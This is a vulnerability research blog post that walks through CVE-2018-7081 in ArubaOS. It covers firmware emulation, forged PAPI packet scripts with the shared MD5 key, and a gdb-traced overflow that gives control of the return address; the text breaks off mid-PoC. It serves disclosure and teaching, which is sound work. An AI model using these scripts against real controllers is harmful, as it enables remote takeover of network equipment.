Just a blog to preserve some thoughts about Red Teaming :)

Remote Code Execution in Aruba Mobility Controller (ArubaOS) - CVE-2018-7081

2019-09-04 01:00:00 +0000

         Disclaimer: this vulnerability was found in a summer research (June 2018) with Pedro “P3r1k0” Guillén. We reported the vulnerability at November ends, between May and July the fixes where released. I wrote the post back in November (2018) and did not check it again (just to add the CVE identificator and this disclaimer) so If you spot any incorrection, please contact me at twitter (@TheXC3LL).

         CVE-2018-7081 is a memory corruption vulnerability present in network-listening components that leads to hijack the program flow and, consequently, to a remote command execution. To see all platforms affected check the official report from Aruba Networks (the original issue was found in the firmware of ArubaOS Mobile Access Switch, but the six major branches of Aruba Mobility Controller are affected). In this article will be described the process followed to find the vulnerability and to build the proof of concept, trying to cover topics from the basics.

         This post is aimed to people that begins, so if you are familiarized with the basic concepts, just jump to the part where the PoC is created.

0x01 Extract and emulate

         The first step is to extract the binaries from the firmware, and this can be accomplished easyly with the well-known binwalk:

binwalk -e -M ArubaOS_MAS_7.4.1.9_62608

         Now we can start working with our binaries. The approach followed by us in our research were to emulate only the minimum binaries needed, instead of the whole firmware. Making only few binaries work will give to you less headaches than a whole firmware. Of course this shortcut can not be taken always, but if you can, skip the path full of pain :)

         Our focus is on vulnerabilities that can be exploited remotely (nothing is sexier than a RCE). Aruba devices communicate between them using few protocols, being the most interesting the PAPI communication. Reading this amazing security report from Sven Blumenstein you can see that the PAPI protocol was broken in that time, and PAPI is handled by the msgHandler binary. Juicy info :). Sounds like this is a binary where we want to put an eye:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  find . -iname msgHandler
./mswitch/bin/msgHandler
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  file ./mswitch/bin/msgHandler 
./mswitch/bin/msgHandler: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 2.6.9, stripped

         We are going to work with a MIPS big endian, so we need to create the right environment to run the binaries and debug them.

# Move to cpio-root folder before :)

sudo apt-get install "libc6-mips*" 
sudo apt-get install qemu qemu-user qemu-user-static gdb-multiarch 'binfmt*'
sudo mkdir /etc/qemu-binfmt
sudo ln -s /usr/mips-linux-gnu /etc/qemu-binfmt/mips
sudo apt-get install binutils debootstrap
cp `whereis qemu-mips-static | cut -d" " -f2` .

         Can we run our binary?

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -h
usage: msgHandler [-d] [-n]
-d = enable debug prints.
-n = disable md5 signatures.
-g = disable garbling.

         OK! Now we need to know how is this service launched (what paremeters are used). In the post from 2016, the parameters used to run the service are present in the nanny_list file, so check it:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  grep msgHandler ./mswitch/bin/nanny_list 
RUN_ALL RESTART /mswitch/bin/msgHandler -g

         Run it:

 sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g

         Oops! this not work!. We could execute the binary with a “-h” as parameter but with a “-g” is failing, so the problem is not related with the emulation: the binary is being executed but it exits early. QEMU provides us the –strace option to see all syscalls made by the binary, so we can use it to see if it exited “naturally” or was any kind of weird error:

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
12762 uname(0x76fff268) = 0
12762 brk(NULL) = 0x10001000
(...)
11373 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = -1 errno=2 (No such file or directory)
11373 exit_group(1)

         This binary tries to open a file, but it does not exist and fails. We are going to create the requested file and see if the execution advances more from this point (we are inside a chroot, so everything is inside “./”):

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  mkdir ./var && mkdir ./var/log && touch ./var/log/msgHandler.log
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
14703 uname(0x76fff268) = 0
14703 brk(NULL) = 0x10001000
(...)
14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory)
14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory)
14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory)
(...)
14703 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = 7
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14703 getpid() = 14703
14703 fstat(7,0x76fff208) = 0
14703 write(7,0x76fff2c0,73) = 73
14703 exit_group(1)

         Nice! It worked. If we watch carefully the new trace, we can see that 3 files are missing too:

(...)
14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory)
14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory)
14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory)
(...)

         Create the files and repeat:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  touch ./flash/papik_prev && touch ./flash/papienhsec && touch ./tmp/msgh_debug
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g      
(...)
17433 stat("/flash/papik_prev",0x76fff370) = 0
17433 stat("/flash/papienhsec",0x76fff1e8) = 0
17433 stat("/flash/papik",0x76fff298) = -1 errno=2 (No such file or directory)
(...)

         Repeat…

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  touch ./flash/papik
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
(...)
19190 stat("/tmp/.sock",0x76fff450) = -1 errno=2 (No such file or directory)
(...)

         Repeat again…

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  mkdir ./tmp/.sock
psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
19693 uname(0x76fff268) = 0
(...)
20709 gettimeofday(1996486360,0,1996485904,240,0,0) = 0
20709 _newselect(8,[7,6,5,4,],[],[],{60,0})

         Oh, wait, it worked ? It worked! Our handler for PAPI packets is up and running. This binary will handle incoming PAPI messages and forward them to other services inside ArubaOS, so we can try to run another service that consume this kind of messages (just iterate over nanny_list until find a nice candidate). Lets try to run the rfm binary:

sudo chroot . ./qemu-mips-static  ./mswitch/bin/rfm

         It worked like a charm. Good boy :)

0x02 Communicating with internal services or “Who’s your PAPI?”

         To build a basic PAPI message and start investigating we can use as base the script provided by Sven Blumenstein in his post. After a bit of reversing, and trial and error, a basic working PAPI message was built:

# Aruba test
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html

import sys, socket, hashlib

host = sys.argv[1]
port = int(sys.argv[2])

def aruba_encrypt(s):
    return ''.join([chr(ord(c) ^ 0x93) for c in s])


# Packet:

header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\x20" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16  # Empty Checksum
padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload = (  # show configuration; does not matter I Just copied it from the post.
            '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
            '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
            '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
            '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
            '\x74\x69\x6f\x6e\x0a'
          )
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))

         We can see how the packet is correctly parsed by msgHandler and forwarded to a service in port 8224 (it does not matter at this moment, we only want to forge valid packets):

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
⇒  sudo chroot . ./qemu-mips-static  ./mswitch/bin/msgHandler -g -d


Resetting SIZE = 28
received a message on remote:MHSockFd
Inside else statement
MsgCode:14001
Got external packet getting into HandleRxPacket
IP address ::ffff:7f00:1:57091
::ffff:7f00:1:df03 ae14
Inside switch stat
LOC:Inside msgh_validate_pkt 1
Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1]
Sending to unix socket: port number 8224
Read 1 packets

         Ok, now we have the capacity to craft messages than will be forwarded to internal services in our ArubaOS. We can check what ports is opening the RFM binary using strace again:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|                  
⇒  sudo chroot . ./qemu-mips-static  --strace ./mswitch/bin/rfm         
6101 uname(0x76fff298) = 0                                        
(...)
6101 unlink("/tmp/.sock/8409.sock") = 0
6101 bind(4,1996485896,110,0,0,0) = 0
(...)
6101 unlink("/tmp/.sock/9409.sock") = 0
6101 bind(5,1996485896,110,0,0,0) = 0
(...)

         So rfm is using the ports 8409 and 9409. Lets edit our script and see if the PAPI message is forwarded correctly:

# Aruba test - forward packet to RFM service
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html

import sys, socket, hashlib

host = sys.argv[1]
port = int(sys.argv[2])

def aruba_encrypt(s):
    return ''.join([chr(ord(c) ^ 0x93) for c in s])


# Packet:

header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\xd9" # Destination port for PAPI message (20d9 == 8409--> RFM service)
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16  # Empty Checksum
padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload = (  # show configuration
            '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
            '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
            '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
            '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
            '\x74\x69\x6f\x6e\x0a'
          )
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))

         If everything is ok…

# At msgHandler:
Resetting SIZE = 28
received a message on remote:MHSockFd
Inside else statement
MsgCode:14001
Got external packet getting into HandleRxPacket
IP address ::ffff:7f00:1:44869
::ffff:7f00:1:af45 b481
Inside switch stat
LOC:Inside msgh_validate_pkt 1
Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1]
Sending to unix socket: port number 8409
PapiSrc  :::8444 PapiDest :::8409
StackSrc ::ffff:7f00:1:44869 StackDst ::1:8409
PktType  0x0004(BWR) Seq:1 pktLen=193
Read 1 packets

# At rfm:
(...)
14436 clock_gettime(1,1996486352,268464832,0,0,0) = 0
14436 recvfrom(4,268508736,41000,64,1996486104,1996486144) = 193
14436 brk(0x10047000) = 0x10047000
14436 time(268591104,268508384,1,268508388,0,0) = 1543484545
14436 time(1996485520,1979813083,1,0,0,0) = 1543484545
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
14436 getpid() = 14436
14436 socket(PF_UNIX,SOCK_DGRAM,IPPROTO_IP) = 6
14436 fcntl64(6,F_SETFD,1) = 0
14436 connect(6,0x76065954,16) = -1 errno=2 (No such file or directory)
(...)

         At this point we can forge valid PAPI messages that will land on our target service (rfm). This template can be used as a seed for fuzzing the service but… it is not even necessary. With just a little bit of dynamic analysis the vulnerabilities jump into your eyes :)

0x03 Make it crash

         Just run the binary, attach a debugger, and start poking here and there. One interesting function called to process our PAPI packet is executeAMAPIMethodWithVec:

[0x76141a10]> pd 30 @ sym.executeAMAPIMethodWithVec
/ (fcn) sym.executeAMAPIMethodWithVec 1780
|   sym.executeAMAPIMethodWithVec (int arg2);
|           ; var int local_10h @ sp+0x10
|           ; var int local_14h @ sp+0x14
|           ; var int local_18h @ sp+0x18
|           ; var int local_20h @ sp+0x20
|           ; var int local_b8h @ sp+0xb8
|           ; var int local_bch @ sp+0xbc
|           ; arg int arg2 @ a1
|           0x0040b1b8      3c1c0fc0       lui gp, 0xfc0
|           0x0040b1bc      279cced8       addiu gp, gp, -0x3128
|           0x0040b1c0      0399e021       addu gp, gp, t9
|           0x0040b1c4      27bdff40       addiu sp, sp, -0xc0
|           0x0040b1c8      afbf00bc       sw ra, 0xbc(sp)
|           0x0040b1cc      afbe00b8       sw fp, 0xb8(sp)
|           0x0040b1d0      03a0f021       move fp, sp
|           0x0040b1d4      afbc0020       sw gp, 0x20(sp)
|           0x0040b1d8      afc400c0       sw a0, 0xc0(fp)
|           0x0040b1dc      afc500c4       sw a1, 0xc4(fp)
|           0x0040b1e0      afc600c8       sw a2, 0xc8(fp)
|           0x0040b1e4      afc700cc       sw a3, 0xcc(fp)
|           0x0040b1e8      24020001       addiu v0, zero, 1
|           0x0040b1ec      afc20028       sw v0, 0x28(fp)
|           0x0040b1f0      8fc200c4       lw v0, 0xc4(fp)
|           0x0040b1f4      afc200a4       sw v0, 0xa4(fp)
|           0x0040b1f8      8fc200a4       lw v0, 0xa4(fp)
|           0x0040b1fc      2442004c       addiu v0, v0, 0x4c
|           0x0040b200      afc200a8       sw v0, 0xa8(fp)
|           0x0040b204      27c20050       addiu v0, fp, 0x50
|           0x0040b208      00402021       move a0, v0
|           0x0040b20c      8fc500a4       lw a1, 0xa4(fp)
|           0x0040b210      2406004c       addiu a2, zero, 0x4c
|           0x0040b214      8f9981e8       lw t9, -sym.imp.memcpy(gp)  ; [0x10000278:4]=0x415e30 sym.imp.memcpy
|           0x0040b218      00000000       nop
|           0x0040b21c      0320f809       jalr t9

         Let’s explore that memcpy. Run QEMU with gdb (sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm) and in other window gdb (gdb-multiarch ./mswitch/bin/rfm). Inside gdb, run target remote localhost:1234 to attach to the process and start debugging. Put a breakpoint at 0x0040b214 (where the memcpy is called).

Breakpoint 3, 0x0040b214 in executeAMAPIMethodWithVec ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 764c8394 76fff4c8 000036b1 76fff4c8 10011e40 0000004c 76fff594 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   764c83a8 00000000 00000000 00000000 00000062 00000000 00000000 0000002b 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  10011e40 10000430 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  0000001d 0040b1b8 00000000 00000000 10008090 76fff478 76fff478 0040b908 
            sr       lo       hi      bad    cause       pc
      20000010 0000016f 00000003 00000000 00000000 0040b214 
           fsr      fir
      00000000 00739300 
(gdb) x/5wx $a1
0x10011e40:     0x49720001      0xc0a80101      0x7f000001      0x0000bcfa
0x10011e50:     0x20d920fc

         So, 0x4c bytes of our packet will be copied to a memory buffer (if you check it carefully, this 4972… is the magic header). The end of the memory copied corresponds with the part that we called “padding” in our packet:

(gdb) x/wx $a1+0x4c
0x10011e8c:     0x00000000

         If we follow the execution at some point another memcpy is called (inside sxdr_read_str) using part of this value as sizer (check register $a2):

Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so                                                   
(gdb) i r                    
          zero       at       v0       v1       a0       a1       a2       a3                                           
 R0   00000000 764c8394 00000000 00000000 76fff4a8 10011e8f 00000000 10011e8c                                           
            t0       t1       t2       t3       t4       t5       t6       t7                                           
 R8   00000000 609943e5 f88d93f1 00000000 00000000 00000000 00000000 00000000                                           
            s0       s1       s2       s3       s4       s5       s6       s7                                           
 R16  00000000 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0                                           
            t8       t9       k0       k1       gp       sp       s8       ra                                           
 R24  0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244                                           
            sr       lo       hi      bad    cause       pc                                                             
      20000010 0000016f 00000003 00000000 00000000 76141a08                                                             
           fsr      fir      
      00000000 00739300   

         Change the value in our python script and see what happens:

# Aruba test
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html

import sys, socket, hashlib

host = sys.argv[1]
port = int(sys.argv[2])

def aruba_encrypt(s):
    return ''.join([chr(ord(c) ^ 0x93) for c in s])


# Packet:

header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16  # Empty Checksum
padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload = (  # show configuration
            '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
            '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
            '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
            '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
            '\x74\x69\x6f\x6e\x0a'
          )
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))

         Launch the new packet and enjoy our 0xFFFF at $a2:

Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 764c8394 000000ff 000000ff 76fff4a8 10011e8f 0000ffff 10011e8c 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 67451717 7e4642e3 00000000 00000000 00000000 00000000 00000000 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  0000ffff 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244 
            sr       lo       hi      bad    cause       pc
      20000010 0000016f 00000003 00000000 00000000 76141a08 
           fsr      fir
      00000000 00739300 

         Continue the execution aaaaaand Segfault!

[1]    59357 segmentation fault  sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm

         So… we have a classic overflow caused by a sizer taken directly from a packet. We can execute memcpys with an arbitrary size… and that is nice :)

0x04 Hijack the flow

         Ok, at this moment we have a cool overflow. Lets turn this bug in something useful. We need to look for code where values from the stack are used in a jump. If we control the stack values, we control where the code jumps. Check near 0x0040b890:

[0x0040b890]> pd 7
|           ; CODE XREF from sym.executeAMAPIMethodWithVec (0x40b7d4)
|           0x0040b890      8fc200b4       lw v0, 0xb4(fp)
|           0x0040b894      03c0e821       move sp, fp
|           0x0040b898      8fbf00bc       lw ra, 0xbc(sp)
|           0x0040b89c      8fbe00b8       lw fp, 0xb8(sp)
|           0x0040b8a0      27bd00c0       addiu sp, sp, 0xc0
|           0x0040b8a4      03e00008       jr ra
\           0x0040b8a8      00000000       nop

         Yup, it is a jump to $ra, and we can control $ra because this lw ra, 0xbc(sp) is setting $ra with a value from stack, and we can overwrite the stack with our vulnerable memcpy. Lets change the payload string for a de Bruijin string generated with radare2 (ragg2 -P 1000 -r) and send the new PAPI packet:

Program received signal SIGSEGV, Segmentation fault.
0x0040b24c in executeAMAPIMethodWithVec ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 764c8394 41416e41 7700f4a7 7700f4a7 10021e8e 00000003 10021e8e 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00000000 76137000 7613a594 00000001 767fe438 00000000 76141a10 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  10011e40 10000430 00000418 76557144 10011e40 10010878 76fff6d8 76fff6d0 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  000001bd 75f5fdc0 00000000 00000000 10008090 76fff478 76fff478 0040b244 
            sr       lo       hi      bad    cause       pc
      20000010 0001cf82 000001fb 41416e41 00000000 0040b24c 
           fsr      fir
      00000000 00739300 
(gdb) x/i $pc
=> 0x40b24c <executeAMAPIMethodWithVec+148>:    sw      zero,0(v0)
(gdb) 

         Here the binary is crashing because $v0 holds a non valid address (0x41416e41). This value is contained in our pattern at position 115, so we only need to change this to a valid memory address (remember: we are just building a PoC in QEMU):

# 115
payload = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAm"
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
# 881
payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"

         Now the execution should not crash until reach our jr ra at 0x0040b8a4:

Breakpoint 8, 0x0040b8a4 in executeAMAPIMethodWithVec ()
(gdb) x/i $ra
   0x41674141:  Cannot access memory at address 0x41674140

         Nailed! We have an arbitrary control of that jump: we can hijack the program flow and jump where we want :)

0x05 One gadget to rule them all

         At this point our PoC looks like this:

# Aruba test
# Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html

import sys, socket, hashlib

host = sys.argv[1]
port = int(sys.argv[2])

def aruba_encrypt(s):
    return ''.join([chr(ord(c) ^ 0x93) for c in s])


# Packet:

header = "\x49\x72" # Magic Header for PAPI message
header += "\x00\x01" # Protocol Version
header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
header += "DD" # Unkwown 1
header += "DD" # Unkwown 2
header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
header += "\x00\x04" #unknown 3
header += "EE" #unknown 4
header += "\x00\x01" # Sequence number
header += "\x36\xb1" # PAPI Message Code
checksum = "\x00" * 16  # Empty Checksum
padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# 115
payload = "A" * 95 # Padding 1
payload += "B" * 4 # Address where we want to jump 
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
# 881
